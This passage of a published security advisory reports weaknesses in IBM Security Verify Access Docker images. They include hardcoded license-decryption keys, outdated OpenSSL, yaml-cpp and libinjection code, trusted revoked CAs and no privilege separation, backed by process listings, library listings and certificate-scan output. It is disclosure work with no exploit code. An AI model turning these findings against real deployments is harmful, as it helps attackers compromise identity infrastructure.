ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground ivmgr 762 0.0 0.1 1070184 10860 ? Sl Oct04 0:01 /opt/PolicyDirector/bin/pdmgrd -foreground isam 805 0.0 0.0 71488 316 ? Ss Oct04 0:00 /usr/sbin/iss-lum isam 806 0.0 0.0 343920 5264 ? Sl Oct04 0:00 /usr/sbin/iss-lum root 811 0.0 0.0 41984 2416 ? Ss Oct04 0:00 /usr/sbin/crond isam 834 0.0 0.0 128400 2076 ? Ssl Oct04 0:00 /usr/sbin/rsyslogd root 859 0.0 0.0 174348 96 ? Ss Oct04 0:00 /usr/sbin/wga_servertaskd ivmgr 861 0.0 0.0 276544 84 ? Sl Oct04 0:00 /usr/sbin/wga_servertaskd isam 870 0.0 0.0 273920 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground isam 877 2.1 0.2 563872 18472 ? Sl Oct04 38:43 wga_notifications -foreground isam 889 0.0 0.0 12060 80 ? S Oct04 0:00 /bin/sh /sbin/bootstrap.sh isam 892 0.0 0.0 23068 24 ? S Oct04 0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log isam 217541 4.0 0.0 19248 3836 pts/0 Ss 21:37 0:00 bash isam 217564 0.0 0.0 54808 4080 pts/0 R+ 21:37 0:00 ps -auxww [isam@verify-access /]$
This program appears to establish connections to remote servers to check the license.
The OpenSSL library embedded inside the program is completely outdated (0.9.7j - Feb 2007):
Furthermore, this program includes several hardcoded keys to decrypt the private key in /etc/lum/private.pem
. In the function ctor_009:
Some decryption keys have been identified within the binaries used to check the license:
Function sub_4806C0
:
Function ctor_009
:
The Docker images contain known vulnerabilities.
It was observed that the IBM Crypto for C library is installed inside all the Docker images in the directory /usr/local/ibm/gsk8_64
:
For example, from the Docker image verify-access-wrp:
kali-docker# cd ./_verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a
kali-docker# find usr/local/ibm
usr/local/ibm
usr/local/ibm/gsk8_64
usr/local/ibm/gsk8_64/lib64
usr/local/ibm/gsk8_64/lib64/libgsk8cms_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8kicc_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8p11_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8ssl_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8drld_64.so
usr/local/ibm/gsk8_64/lib64/C
usr/local/ibm/gsk8_64/lib64/C/icc
usr/local/ibm/gsk8_64/lib64/C/icc/icclib
usr/local/ibm/gsk8_64/lib64/C/icc/icclib/libicclib084.so
usr/local/ibm/gsk8_64/lib64/C/icc/icclib/ICCSIG.txt
usr/local/ibm/gsk8_64/lib64/libgsk8ldap_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8iccs_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8valn_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8acmeidup_64.so
usr/local/ibm/gsk8_64/lib64/N
usr/local/ibm/gsk8_64/lib64/N/icc
usr/local/ibm/gsk8_64/lib64/N/icc/icclib
usr/local/ibm/gsk8_64/lib64/N/icc/icclib/libicclib085.so
usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt
usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt
usr/local/ibm/gsk8_64/lib64/libgsk8dbfl_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8km2_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8km_64.so
usr/local/ibm/gsk8_64/lib64/libgsk8sys_64.so
usr/local/ibm/gsk8_64/docs
usr/local/ibm/gsk8_64/copyright
usr/local/ibm/gsk8_64/inc
usr/local/ibm/gsk8_64/bin
usr/local/ibm/gsk8_64/bin/gsk8capicmd_64
usr/local/ibm/gsk8_64/bin/gsk8ver_64
usr/local/ibm/.wh..wh..opq
kali-docker#
This library is based on the opensource libraries zlib and OpenSSL. It was built in October 2020, as shown below:
Furthermore, the copyrights from the /usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt
file indicate:
The /usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt
file confirms the libraries were generated 2 years ago:
#
# IBM Crypto for C.
# ICC Version 8.7.37.0
#
# Note the signed library contains a copy of cryptographic code from OpenSSL (www.openssl.org),
# zlib (www.zlib.org)
# and IBM code (www.ibm.com)
#
# Platform AMD64_LINUX
#
# Generated Tue Oct 13 12:09:08 2020
#
# File name=libicclib085.so
# File Hash (SHA256)=bbbb89eae43b11aba9a132a53207ca532236cd064b6aa0b84ea878a0b9bf8b4f
#
FILE=906082662e6b3a50fc01a95f2d1bb29d3a54349ad76da59fc8555fadadae4e5305463810ece2064174129a95e89352a02d8c72c7397de2d01b38220c3222796992785b8d99401a65b0894778a2b05760ae1a6919a97e259d270ff5e6996a14fc29e48a848c59e14f2aa758e8e26355faeff60eca0562ad643a86b8fdaa6afd10190190d411a584679ff1ee93caf5039ef070d411040fc828e4b8f79b8bb67d3ec1708c8274c0c9f6899399492fa52c73574065f2684dcc336c41eee2b808b42b0a01578b32fae245b761580240e3b53359767634ba76018f46a8d732c21ec24bf1a979aa11af20b646f166d5658efabcebdf6283fbdc793d82636e89bf2ac4ad
#
SELF=10fefb48a0666936f23aceae7805a7dcefb06a9a2282fea0693610a98ccf12cab8bfef973cda13450afde785960eccb2637adaf15f5e795cdb21f667704ba30ebf6a6a077f29a3574d0792ef633172d324a5b26adc257d3380ffd1cf7698bc560fb52d5c083ffa85fe623e059f7c8d67a8043ca75d8808c082de29bb8e1c46a01421039e557699cf7747c07a22a0e1612b0e4de8836833bebc888269dc46adf0ed5ba0107da2e683554433ed29ab840d16af34581682e35a30d11ff10fbd8ba0cc7ae6a62b75c3ba4758863e5a5a4cf00371040358a732a56ecf7dd04523c85544755c6f0f42447f383ec22e0ee4d79bb3c6e6defc4319f555afaaa1cfc8642f
#
#Do not edit before this line
#
# Global Settings
ICC_ALLOW_2KEY3DES=1
The OpenSSL code and the zlib code are at least 2 year old and vulnerable to CVEs.
The Docker images contain known vulnerabilities.
It was observed that the webseald program borrows codes provided by open-source libraries containing outdated and vulnerable code. This program can be found inside these 2 images:
Webseald is reachable over the network.
Libraries used by webseald:
kali-docker# ldd ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/opt/pdweb/bin/webseald
linux-vdso.so.1 (0x00007fffe59f3000)
libwsdaemon.so => not found
libamwoauth.so => not found
libamweb.so => not found
libamwebrte.so => not found
libpdsvcutl.so => not found
libtivsec_msg.so => not found
libpdz.so => not found
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61885e8000)
libtivsec_xslt4c.so.112 => not found
libtivsec_xml4c.so => not found
libtivsec_yamlcpp.so => not found
libam_gssapi_krb5.so => not found
libmodsecurity.so.3 => not found
libamwredismgr.so => not found
libhiredis.so.0.15 => not found
libhiredis_ssl.so.0.15 => not found
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f61885df000)
libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f6188200000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f6188504000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f61884e4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6187e00000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6188604000)
The IBM-specific libraries (.so) have been analyzed only in surface to detect low-hanging fruits, and several vulnerabilities were found, including some pre-auth vulnerabilities.
Webseal is directly reachable from the network but uses the outdated and vulnerable code.
The quality of the code is extremely inequal between the libraries - some code is very well implemented (with secure calls to -cpy functions) and some code is vulnerable (with insecure calls to -cpy functions). These libraries contain some legacy codes that are not up to date with the current security standards.
Due to the lack of time, only a superficial analysis was done - an attacker with time will likely find 0-day vulnerabilities in these libraries.
The /opt/pdweb/lib/libmodsecurity.so.3
library (b939c5db3ca94073188ea6eb360049f58f9e9d2a9c7d72bc052d9ee47cc5eccc) contains a vulnerable libinjection library. The version used is 3.9.2:
This version (3.9.2) is known to have several vulnerabilities. For example, a pre-authentication DoS from 2017 (no CVE).
This version is confirmed to be vulnerable: https://github.com/client9/libinjection/issues/124.
This IBM library is entirely based on yaml-cpp. Yaml-cpp is available at https://github.com/jbeder/yaml-cpp.
Several vulnerabilities have been patched in 2020 (CVE-2017-5950, CVE-2018-20573, CVE-2018-20574 and CVE-2019-6285) in the yaml-cpp library.
This IBM-specific library is located at /usr/lib64/libtivsec_yamlcpp.so
and /opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so
(cf1b80c501a2f42948322567477c2956155e244d645e3962985569c4496ffad90).
When doing reverse engineering on this file, it appears no security patches have been imported from the official yaml-cpp repository.
We can identify several methods from the yaml-cpp library. For example, the method SingleDocParser::HandleFlowMap()
found in /usr/lib64/libtivsec_yamlcpp.so
and /opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so
:
When analyzing the security patches available at https://github.com/jbeder/yaml-cpp/pull/807 and https://github.com/jbeder/yaml-cpp/pull/807/files/dbd5ac094622ef3b3951e71c31f59e02c930dc4b, there is no reference in the compiled code regarding a DeepRecursion
class or any method implemented in the security patches. This DeepRecursion
class is included in the now-patched versions.
The IBM-specific library is using an outdated and vulnerable version of yaml-cpp, without security patches, e.g. 4 CVEs patched in yaml-cpp.
Analysis of the security patches implementing new classes:
Furthermore, it is possible to analyze the rest of the security patches from the git repository and compare them with the assembly code from the libtivsec_yamlcpp.so
library. This allows us to conclude the security patches have not been imported into the libtivsec_yamlcpp.so
library.
Source code providing security patches:
Method HandleNode()
from the security patches and the patched versions of yaml-cpp:
With the assembly code extracted from the libtivsec_yamlcpp.so
library and rebuilt into pseudo-code, we can identify the same logic and the same instructions (minus some errors due to the reconstruction from assembly to C++) - with the lack of the patch located on the line 51.
Pseudo-code of method HandleNode()
:
This allows us to conclude that the libtivsec_yamlcpp.so
library is vulnerable to these 4 CVEs.
This library (8b3d3d2dcb1152966d097e91e08fa1dc4300f3653f1c264eeecaf20bb1550832) is located in /usr/lib64/libtivsec_xml4c.so
and /opt/ibm/Tivoli/SecUtilities/lib/libtivsec_xml4c.so
) and uses outdated code from XML4C 5.5.0 that includes a version of Xerces-C (XML4C doesn't exist anymore and the latest release appears to be from 2007-2008).
This version appears to be quite outdated and is likely vulnerable to known CVEs.
It was observed that the Docker images will trust invalid Certificate Authorities (CA).
Using the Paranoia program, we can list the invalid, expired and revoked CAs that are trusted inside the 4 Docker images.
It appears that these 4 Docker images trust some invalid, revoked or untrusted CAs.
Results for ibmcom/verify-access:10.0.4.0:
kali-docker# paranoia inspect ibmcom/verify-access:10.0.4.0 Certificate CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=VeriSign Trust Network+OU=(c) 2006 VeriSign\, Inc. - For authorized use only,O=VeriSign\, Inc.,C=US removed from Mozilla trust store, no reason given Certificate CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US expires soon ( expires on 2023-03-08T12:00:00Z, 19 weeks 2 days until expiry) Certificate CN=Test CA,O=genua mbh expired ( expired on 2014-10-23T08:22:40Z, 8 years 3 days since expiry) Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=sks-keyservers.net CA,O=sks-keyservers.net CA,ST=Oslo,C=NO expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry) Found 395 certificates total, of which 21 had issues
Results for:
kali-docker# paranoia inspect ibmcom/verify-access-runtime:10.0.4.0 Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=sks-keyservers.net CA,O=sks-keyservers.net CA,ST=Oslo,C=NO expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry) Found 374 certificates total, of which 18 had issues
The communications used in the ISVA platform use SSL/TLS with a trust entirely based on underlying CAs. Some CAs have been revoked and cannot be trusted anymore.
The presence of revoked and expired CAs also shows that the security of the Docker images is highly perfectible.
It was observed that the Docker images do not implement privilege separation. Privilege separation is a software-based implementation of the principle of least privilege.
Using dynamic analysis, the ibmcom/verify-access-wrp:10.0.4.0 Docker image, ibmcom/verify-access:10.0.4.0 Docker image, and the ibmcom/verify-access-runtime Docker image do not correctly implement privilege separation.
Processes running inside the ibmcom/verify-access:10.0.4.0 Docker image:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
isam 1 0.0 0.0 12060 2812 ? Ss Oct21 0:00 /bin/sh /sbin/bootstrap.sh
isam 312 0.0 0.0 24532 56 ? Ss Oct21 0:00 /usr/sbin/mesa_crashd
isam 314 0.1 0.0 24568 2056 ? R Oct21 6:20 /usr/sbin/mesa_crashd
isam 318 0.0 0.0 69160 2732 ? Ss Oct21 0:00 /usr/sbin/mesa_syslogd
isam 322 0.0 0.0 69224 2164 ? S Oct21 0:02 /usr/sbin/mesa_syslogd
isam 399 0.0 0.0 102760 2740 ? Ss Oct21 0:00 /usr/sbin/mesa_eventsd -m 1000
isam 400 0.0 0.1 711216 8276 ? Sl Oct21 0:00 /usr/sbin/mesa_eventsd -m 1000
isam 747 0.0 0.0 270992 7452 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
isam 756 0.0 0.0 271124 7308 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground
isam 807 0.0 0.0 71488 3084 ? Ss Oct21 0:00 /usr/sbin/iss-lum
isam 808 0.0 0.5 343920 42140 ? Sl Oct21 0:00 /usr/sbin/iss-lum
isam 833 0.0 0.0 128400 5140 ? Ssl Oct21 0:00 /usr/sbin/rsyslogd
isam 873 0.0 0.0 273920 7080 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground
isam 879 1.5 0.5 563872 42292 ? Sl Oct21 71:40 wga_notifications -foreground
isam 892 0.0 0.0 12060 1804 ? S Oct21 0:00 /bin/sh /sbin/bootstrap.sh
isam 895 0.0 0.0 23068 1256 ? S Oct21 0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log
isam 573957 0.0 0.0 47620 3696 pts/0 Rs+ 16:53 0:00 ps -aux
isam 573963 0.0 0.0 11928 2852 ? S 16:53 0:00 sh -c ls /var/support/core_*.* | wc -l
pgresql 434 0.0 0.2 188380 17492 ? Ss Oct21 0:06 /usr/bin/postgres -D /var/postgresql/config/data
pgresql 435 0.0 0.0 138892 2960 ? Ss Oct21 0:00 postgres: logger
pgresql 446 0.0 0.0 188380 2696 ? Ss Oct21 0:00 postgres: checkpointer
pgresql 447 0.0 0.0 188516 4676 ? Ss Oct21 0:03 postgres: background writer
pgresql 448 0.0 0.0 188380 5148 ? Ss Oct21 0:03 postgres: walwriter
pgresql 449 0.0 0.0 189112 5312 ? Ss Oct21 0:04 postgres: autovacuum launcher
pgresql 450 0.0 0.0 139024 3016 ? Ss Oct21 0:15 postgres: stats collector
pgresql 451 0.0 0.0 188916 5492 ? Ss Oct21 0:00 postgres: logical replication launcher
www-data 547 0.3 6.2 4925056 499744 ? SLl Oct21 18:57 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/de
ivmgr 761 0.0 0.5 873712 44896 ? Sl Oct21 0:04 /opt/PolicyDirector/bin/pdmgrd -foreground
ivmgr 863 0.0 0.1 276544 8440 ? Sl Oct21 0:00 /usr/sbin/wga_servertaskd
ldap 752 0.0 10.3 1314228 822572 ? Sl Oct21 0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
root 813 0.0 0.0 41984 3528 ? Ss Oct21 0:01 /usr/sbin/crond
root 862 0.0 0.0 174348 2828 ? Ss Oct21 0:00 /usr/sbin/wga_servertaskd
Some processes are running as isam
. For example, the rsyslogd processys runs as isam
. If a program running as isam
is compromised inside an instance, then all the programs running as isam are also compromised.
Processes running inside the ibmcom/verify-access-wrp:10.0.4.0 Docker image:
PID USER TIME COMMAND
1 isam 9:42 /opt/pdweb/bin/webseald -foreground -noenv -config etc/webseald-login-internal.conf
32 isam 0:02 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0
The only 2 processes are running as isam
.
Processes running inside the ibmcom/verify-access-runtime: 10.0.4.0 Docker image:
PID USER TIME COMMAND
1 isam 1h18 /opt/java/jre/bin/java -javaagent:/opt/ibm/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/rtprofile -Xms512m -Xmx2048m -Dcom.sun.security.enableCRLDP=true -Dsun.net.inetaddr.ttl=30 -Dhttps
38 isam 0:00 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0
63 isam 0:04 /usr/bin/postgres -D /var/postgresql/config/data
64 isam 0:00 postgres: logger
66 isam 0:00 postgres: checkpointer
67 isam 0:00 postgres: background writer
68 isam 0:00 postgres: walwriter
69 isam 0:01 postgres: autovacuum launcher
70 isam 0:05 postgres: stats collector
71 isam 0:00 postgres: logical replication launcher
37169 isam 0:00 bash
37186 isam 0:00 ps -a
In the ibmcom/verify-access-runtime
instance, we can confirm the postgres daemon is running. We can also confirm a complete lack of privilege separation: everything is running as isam.
If a program running as isam
is compromised inside an instance, then the all the programs running as isam are also compromised.
IBM provided several security bulletins:
Security Bulletin: IBM Security Verify Access is vulnerable to multiple Security Vulnerabilities:
Security Bulletin: Security Vulnerabilities discovered in IBM Security Verify Access:
Security Bulletin: Multiple Security Vulnerabilities were identified in IBM Security Verify Access:
These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html
https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt
https://pierrekim.github.io/blog/2024-11-01-ibmsecurity-4-vulnerabilities.html
https://pierrekim.github.io/advisories/2024-ibmsecurity.txt
https://www.ibm.com/support/pages/node/7106586
https://www.ibm.com/support/pages/node/7145400
https://www.ibm.com/support/pages/node/7155356
https://www.ibm.com/support/pages/node/7158790
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
published on 2024-11-01 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>